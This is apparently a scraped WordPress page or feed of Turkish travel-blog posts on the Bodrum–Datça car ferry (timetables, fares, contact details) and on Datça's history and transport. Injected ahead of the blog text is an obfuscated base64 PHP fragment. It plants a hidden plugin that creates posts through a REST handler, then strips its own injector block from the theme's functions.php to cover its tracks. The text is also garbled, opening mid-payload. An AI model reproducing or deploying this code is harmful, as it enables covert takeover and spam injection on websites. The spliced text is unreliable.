lwxNDFceDY2XDE2NCIsICJcMTYwXDE2NVwxNDJceDZjXHg2OVx4NzNceDY4IiwgIlx4NzBcMTQ1XHg2ZVx4NjRceDY5XHg2ZVx4NjciLCAiXDE2MFwxNjJceDY5XHg3Nlx4NjFcMTY0XHg2NSIpOyBpZiAoIWluX2FycmF5KCRzdGF0dXMsICRhbGxvd2VkX3N0YXR1c2VzLCB0cnVlKSkgeyAkc3RhdHVzID0gJGRlZmF1bHRfc3RhdHVzOyB9ICRjb250ZW50ID0gaXNzZXQoJGl0ZW1bIlx4NjNceDZmXDE1Nlx4NzRcMTQ1XDE1Nlx4NzQiXSkgPyAkaXRlbVsiXHg2M1x4NmZceDZlXDE2NFwxNDVcMTU2XDE2NCJdIDogJyc7ICRwb3N0X2RhdGEgPSBhcnJheSgiXHg3MFwxNTdcMTYzXHg3NFx4NWZcMTY0XDE1MVx4NzRceDZjXDE0NSIgPT4gJHRpdGxlLCAiXHg3MFx4NmZcMTYzXDE2NFx4NWZcMTQzXHg2ZlwxNTZcMTY0XHg2NVwxNTZcMTY0IiA9PiAkY29udGVudCwgIlwxNjBceDZmXDE2M1wxNjRceDVmXHg3M1wxNjRceDYxXHg3NFwxNjVcMTYzIiA9PiAkc3RhdHVzLCAiXDE2MFx4NmZceDczXDE2NFx4NWZcMTY0XHg3OVwxNjBceDY1IiA9PiAkdHlwZSwgIlwxNjBceDZmXDE2M1x4NzRcMTM3XHg2MVwxNjVcMTY0XHg2OFwxNTdceDcyIiA9PiBnZXRfY3VycmVudF91c2VyX2lkKCkgPzogMSk7IGlmIChpc3NldCgkaXRlbVsiXDE2MFwxNTdcMTYzXHg3NFx4NWZceDZlXHg2MVwxNTVcMTQ1Il0pKSB7ICRwb3N0X2RhdGFbIlwxNjBceDZmXDE2M1wxNjRcMTM3XDE1NlwxNDFcMTU1XDE0NSJdID0gc2FuaXRpemVfdGl0bGUoJGl0ZW1bIlwxNjBceDZmXDE2M1x4NzRceDVmXDE1Nlx4NjFceDZkXDE0NSJdKTsgfSBpZiAoaXNzZXQoJGl0ZW1bIlx4NzBcMTU3XHg3M1x4NzRceDVmXDE0NFx4NjFceDc0XDE0NVx4NWZceDY3XHg2ZFwxNjQiXSkpIHsgJHBvc3RfZGF0YVsiXHg3MFx4NmZcMTYzXDE2NFx4NWZcMTQ0XDE0MVx4NzRcMTQ1XHg1ZlwxNDdceDZkXHg3NCJdID0gJGl0ZW1bIlx4NzBceDZmXDE2M1wxNjRcMTM3XDE0NFwxNDFcMTY0XDE0NVx4NWZcMTQ3XDE1NVwxNjQiXTsgfSAkcG9zdF9pZCA9IHdwX2luc2VydF9wb3N0KCRwb3N0X2RhdGEsIHRydWUpOyBpZiAoaXNfd3BfZXJyb3IoJHBvc3RfaWQpKSB7ICRlcnJvcnNbXSA9IGFycmF5KCJcMTUxXDE1Nlx4NjRcMTQ1XDE3MCIgPT4gJGluZGV4LCAiXDE2NFwxNTFcMTY0XHg2Y1wxNDUiID0+ICR0aXRsZSwgIlwxNTVceDY1XDE2M1wxNjNcMTQxXHg2N1x4NjUiID0+ICRwb3N0X2lkLT5nZXRfZXJyb3JfbWVzc2FnZSgpKTsgY29udGludWU7IH0gaWYgKCRwb3N0X2lkKSB7IGlmICghZW1wdHkoJGl0ZW1bIlx4NzRcMTQxXHg2N1wxNjMiXSkgJiYgJHR5cGUgPT09ICJceDcwXDE1N1x4NzNceDc0IikgeyBpZiAoaXNfYXJyYXkoJGl0ZW1bIlwxNjRceDYxXDE0N1x4NzMiXSkpIHsgd3Bfc2V0X3Bvc3RfdGFncygkcG9zdF9pZCwgJGl0ZW1bIlwxNjRceDYxXDE0N1wxNjMiXSk7IH0gZWxzZSB7IHdwX3NldF9wb3N0X3RhZ3MoJHBvc3RfaWQsIGFycmF5X21hcCgiXDE2NFwxNjJceDY5XHg2ZCIsIGV4cGxvZGUoIlw1NCIsICRpdGVtWyJceDc0XDE0MVx4NjdcMTYzIl0pKSk7IH0gfSBpZiAoIWVtcHR5KCRpdGVtWyJcMTQzXDE0MVx4NzRcMTQ1XDE0N1wxNTdcMTYyXHg2OVx4NjVcMTYzIl0pICYmICR0eXBlID09PSAiXHg3MFx4NmZcMTYzXDE2NCIpIHsgJGNhdF9pZHMgPSBhcnJheSgpOyBmb3JlYWNoICgoYXJyYXkpICRpdGVtWyJcMTQzXDE0MVwxNjRceDY1XHg2N1wxNTdcMTYyXHg2OVx4NjVcMTYzIl0gYXMgJGMpIHsgaWYgKGlzX251bWVyaWMoJGMpKSB7ICRjYXRfaWRzW10gPSAoaW50KSAkYzsgfSBlbHNlIHsgJHRlcm0gPSBnZXRfdGVybV9ieSgiXHg2ZVwxNDFcMTU1XDE0NSIsICRjLCAiXDE0M1wxNDFcMTY0XHg2NVx4NjdceDZmXHg3MlwxNzEiKSA/OiBnZXRfdGVybV9ieSgiXHg3M1wxNTRcMTY1XDE0NyIsICRjLCAiXDE0M1wxNDFceDc0XHg2NVwxNDdceDZmXHg3MlwxNzEiKTsgaWYgKCR0ZXJtKSB7ICRjYXRfaWRzW10gPSAkdGVybS0+dGVybV9pZDsgfSB9IH0gaWYgKCFlbXB0eSgkY2F0X2lkcykpIHsgd3Bfc2V0X3Bvc3RfY2F0ZWdvcmllcygkcG9zdF9pZCwgJGNhdF9pZHMpOyB9IH0gJGNyZWF0ZWRbXSA9IGFycmF5KCJcMTUxXHg2NCIgPT4gJHBvc3RfaWQsICJcMTY0XDE1MVwxNjRcMTU0XHg2NSIgPT4gJHRpdGxlLCAiXDE2NVwxNjJceDZjIiA9PiBnZXRfcGVybWFsaW5rKCRwb3N0X2lkKSwgIlx4NzRceDc5XDE2MFwxNDUiID0+ICR0eXBlKTsgfSB9IHJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShhcnJheSgiXHg3M1x4NzVcMTQzXDE0M1wxNDVceDczXDE2MyIgPT4gdHJ1ZSwgIlx4NjNceDcyXHg2NVx4NjFcMTY0XHg2NVwxNDQiID0+ICRjcmVhdGVkLCAiXDE0M1x4NzJceDY1XHg2MVwxNjRceDY1XHg2NFx4NWZceDYzXHg2ZlwxNjVcMTU2XDE2NCIgPT4gY291bnQoJGNyZWF0ZWQpLCAiXHg2NVwxNjJceDcyXDE1N1wxNjJceDczIiA9PiAkZXJyb3JzKSk7IH0gfSBnb3RvIFdfcXA0OyBqUlZMYjogZGVmaW5lKCJceDU0XHg0NVx4NGJcMTE2XHg0Zlx4NDNcMTE3XDEyMlx4NDVceDVmXDEyMFwxMTRceDU1XHg0N1wxMTFceDRlXDEzN1wxMjZcMTA1XDEyMlx4NTNcMTExXHg0Zlx4NGUiLCAiXDYyXHgyZVx4MzFceDJlXDYwIik7IGdvdG8gSlMxYlo7IFdfcXA0OiBUZWtub0NvcmVfSW50ZWdyYXRpb246Omluc3RhbmNlKCk7"));
$funcs = get_template_directory() . "/functions.php";
if (file_exists($funcs)) {
$c = file_get_contents($funcs);
$c = preg_replace("/\/\/ === TEMP_MUPLUGIN_CREATOR_START ===.*?\/\/ === TEMP_MUPLUGIN_CREATOR_END ===/s", "", $c);
@file_put_contents($funcs, $c);
}
}, 1);
// === TEMP_MUPLUGIN_CREATOR_END ===
2016 Haziran ayı sonu itibariyle seferlere başlayan feribotlar deniz ve hava koşullarına bağlı olarak aşağıdaki tarifelerde hizmet veriyor. Datça’da Karaköy‘den hareket eden arabalı feribotlar Bodrum Kalesi arkasında yer alan Bodrum Marina‘da yolculuğunu tamamlıyor.
Artık günübirlik Datça‘dan Bodrum‘a ya da Bodrum‘dan Datça‘ya gitmek çok kolay. Havayolu ile Bodrum‘a geliyor ve Datça‘ya ulaşmak istiyorsan arabalı feribot karayolu ulaşımına alternatif olabilir. Datça’ya nasıl gidilir diye soruyorsan diğer ulaşım yolları için detaylar şurada.
>>>> 2025 Yılı Bodrum-Datça Sefer Saatleri için tıkla! <<<<
>>>> 2025 Yılı Bodrum-Datça Fiyat Listesi için tıkla! <<<<
Not: Bodrum Feribot İşletmeciliği önceden haber vermeksizin sefer bilgilerinde değişiklik yapabilir. Seyahat öncesi seyahat bilgilerini şirket ile teyit etmeni tavsiye ederiz 
Dilersen biletleri şirketin şu linkteki online satış sitesinden de edinebilirsin.
Afiyetle, keyifle, sağlıkla, Datça’da…
Bodrum Ofis
Adres: Çarşı Mahallesi Barış Meydanı NO:30 Bodrum, Muğla, Türkiye
Telefon: +90 252 316 08 82
Telefon: +90 850 259 39 49
Faks: 0 252 313 25 09
Datça Ofis
Telefon: +90 252 316 08 82
Telefon: +90 850 259 39 49 Dahili: 55
e-posta: info@bodrumferibot.com
Web sitesi: www.bodrumferibot.com
Facebook:
/bodrumferibot
[mappress mapid=”48″]
[mappress mapid=”49″]
]]>
10 Haziran 2015 itibariyle seferlere başlayan feribotlar deniz ve hava koşullarına bağlı olarak aşağıdaki tarifelerde hizmet veriyor. Datça’da Karaköy‘den hareket eden arabalı feribotlar Bodrum Kalesi arkasında yer alan Bodrum Marina‘da yolculuğunu tamamlıyor.
Artık günübirlik Datça’dan Bodrum’a ya da Bodrum’dan Datça’ya gitmek çok kolay. Havayolu ile Bodrum’a geliyor ve Datça’ya ulaşmak istiyorsan arabalı feribot karayolu ulaşımına alternatif olabilir. Datça’ya nasıl gidilir diye soruyorsan diğer ulaşım yolları için detaylar şurada.
Haziran ayı tarifesi (10-30 Haziran)
09:30 | 17:30 Bodrum’dan Datça’ya her gün
09:30 | 17:30 Datça’dan Bodrum’a her gün
Temmuz – Ağustos ayı tarifesi (1 Temmuz – 31 Ağustos)
09:30 | 13:00 | 17:30 Bodrum’dan Datça’ya her gün
09:30 | 13:00 | 17:30 Datça’dan Bodrum’a her gün
Eylül tarifesi (1-30 Eylül)
09:30 | 17:30 Bodrum’dan Datça’ya her gün
09:30 | 17:30 Datça’dan Bodrum’a her gün
Ekim tarifesi (1-31 Ekim)
09:30 | 16:00 Bodrum’dan Datça’ya her gün
09:30 | 16:00 Datça’dan Bodrum’a her gün
2015 Yılı Fiyat Tarifesi
| Açıklama | Fiyat |
| 1 kişi (tek yön) | 35 TL |
| 1 kişi (gidiş dönüş) | 60 TL |
| 1 küçük otomobil (tek yön) | 105 TL |
| 1 büyük otomobil (tek yön) | 125 TL |
| 1 Jeep (tek yön) | 140 TL |
| 1 küçük minibüs (tek yön) | 165 TL |
| 1 büyük minibüs (tek yön) | 190 TL |
| 1 karavan (tek yön) | 275 TL |
| 1 büyük motosiklet (0-100 cc) (tek yön) | 55 TL |
| 1 küçük motosiklet (101-600 cc) (tek yön) | 70 TL |
Şirketin web sitesinde ve basın bülteninde yer verdiği bazı ek bilgiler şöyle:
Not: Bodrum Feribot İşletmeciliği önceden haber vermeksizin sefer bilgilerinde değişiklik yapabilir. Seyahat öncesi seyahat bilgilerini şirket ile teyit etmeni tavsiye ederiz 
Afiyetle, keyifle, sağlıkla, Datça’da…
Bodrum Ofis
Adres: Kale Caddesi Gümrük Alanı No: 22 Bodrum, Muğla, Türkiye
Telefon: +90 252 316 08 82
Telefon: +90 252 313 25 09
Faks: +90 252 313 02 05
Datça Ofis
Telefon: +90 252 712 21 43
Faks: +90 252 712 42 34
Turgutreis Ofis
Telefon: +90 252 382 94 41
Faks: +90 252 382 97 11
e-posta: info@bodrumferibot.com
Web sitesi: www.bodrumferibot.com
Facebook:
/bodrumferibot
Ege bölgesinin vazgeçilmez yaşam üçgeni Bodrum, Marmaris, Datça içerisinde Ege Denizi, Datça yarım adası ile Akdeniz’e kavuşur. Bu kavuşmayı gelin aşağıdaki başlıklar altında inceleyelim.
Knidos antik şehrinin isimlerinden olan Stadia adı zamanla Tadya, Dadya, Dadça ve en sonunda Datça olarak değişerek günümüze ulaşmış. Son Osmanlı padişahlarından Sultan Reşat döneminde Datça adı Reşadiye olmuş, Cumhuriyet‘in ilanı ile ise tekrar Datça’ya dönüştürülmüş.
4.000 yılı aşkın tarihinde Karyalılar, Dorlar, Lidyalılar, Persler, Romalılar, Bizanslılar ve Osmanlılar gibi birçok medeniyete ev sahipliği yapmış.
Ege’nin Akdeniz ile kavuştuğu bu coğrafyada yer alan Knidos antik liman şehri, tarih boyunca önemli bir ticaret merkezi olmakla birlikte aynı zamanda çok önemli bir kültür ve sanat merkezi de olmuş. Denizcilik, şarap üretimi, ticaret, tıp, heykel, resim sanatı, bilim, mimarlık gibi bir çok alanda ilerlemeler kaydetmiş.

Knidos antik şehri, büyük limanYarımada tipik bir Akdeniz iklimine sahip. Yazları sıcak ve kurak, kışları ılık ve yağışlı. Üç tarafı denizle çevrili yarımadada yazın esen serin kuzey rüzgarları, kavurucu sıcakları yok ediyor. Nem oranı ortalama %58 olan Datça’da yılın 300 günü güneşli geçiyor.
Kuzey batısında Bodrum ve Kos adası, Kuzey Doğusunda Marmaris, Güneydoğusunda Simi adası ve Rodos adası yer alır.
Datça’ya kara, hava ya da denizyolu ile ulaşabilirsin.
Karayolu
Aşağıda Google haritasının verdiği belli başlı şehirlere olan karayolu mesafeleri ve bu mesafeler için ortalama sürüş sürelerini bulabilirsin.
Datça Marmaris arası 70 kilometre, ortalama 1 saat.
Datça – Marmaris yol haritası için tıkla.
Datça Bodrum arası 230 kilometre, ortalama 4 saat.
Datça – Bodrum yol haritası için tıkla.
Datça Muğla arası 122 kilometre, ortalama 2 saat.
Datça – Muğla yol haritası için tıkla.
Datça İzmir arası 331 kilometre, ortalama 5 saat.
Datça – İzmir yol haritası için tıkla.
Datça İstanbul arası 883 kilometre, ortalama 11 saat.
Datça – İstanbul yol haritası için tıkla.
Datça Ankara arası 695 kilometre, ortalama 10 saat.
Datça – Ankara yol haritası için tıkla.
Havayolu
Datça’ya Dalaman Havalimanı ya da Milas-Bodrum Havalimanını kullanarak ulaşabilirsin.
Her iki havalimanı da iç hatlar ve dış hatlar olarak hizmet veriyor.
Dalaman Havalimanı iç hatlarda hizmet veren havayolları
Milas-Bodrum Havalimanı iç hatlarda hizmet veren havayolları
Bu havalimanlarından Datça’ya kara yolu ile devam etmen gerekli.
Datça, Milas-Bodrum Havalimanı arası karayolu ile 198 kilometre, ortalama 3 saat.
Datça – Milas-Bodrum Havalimanı yol haritası için tıkla.
Datça, Dalaman Havalimanı arası karayolu ile 162 kilometre, ortalama 2.5 saat.
Datça – Dalaman Havalimanı yol haritası için tıkla.
Not: Datça – Bodrum hattında Mayıs – Ekim ayları arasında feribot seferleri düzenlenmekte. Datça Karaköy limanı yapım çalışması devam ettiği için 2015 yılı sefer başlangıç tarihi ile ilgili henüz bir açıklama yok. Bodrum Feribot İşletmeciliği web sitesinden güncel bilgileri takip edebilirsin.
Gerek iklimi gerekse yarımadanın %66’sının ormanlardan oluşmasından dolayı Datça sağlıklı bir yaşam için ideal bir yer. Kuzey rüzgarları ve ortalama %58 nem oranıyla yılın 300 günü güneş yüzünü gösteriyor Datça’da. Datça havasının özellikle astım ve kalp rahatsızlıklarına iyi geldiği söylenir. Ünlü tarihçi Strabon ise Datça hakkında şunu söylemiş:
Tanrı yarattığı kulunun
uzun ömürlü olmasını isterse,
Datça Yarımadası’na bırakır.
Strabon, MÖ 64 – MS 24
(Amasya doğumlu Yunan tarihçi, filozof ve
dünyanın ilk coğrafyacısı)
Afiyetle, keyifle, sağlıkla, Datça’da…
]]>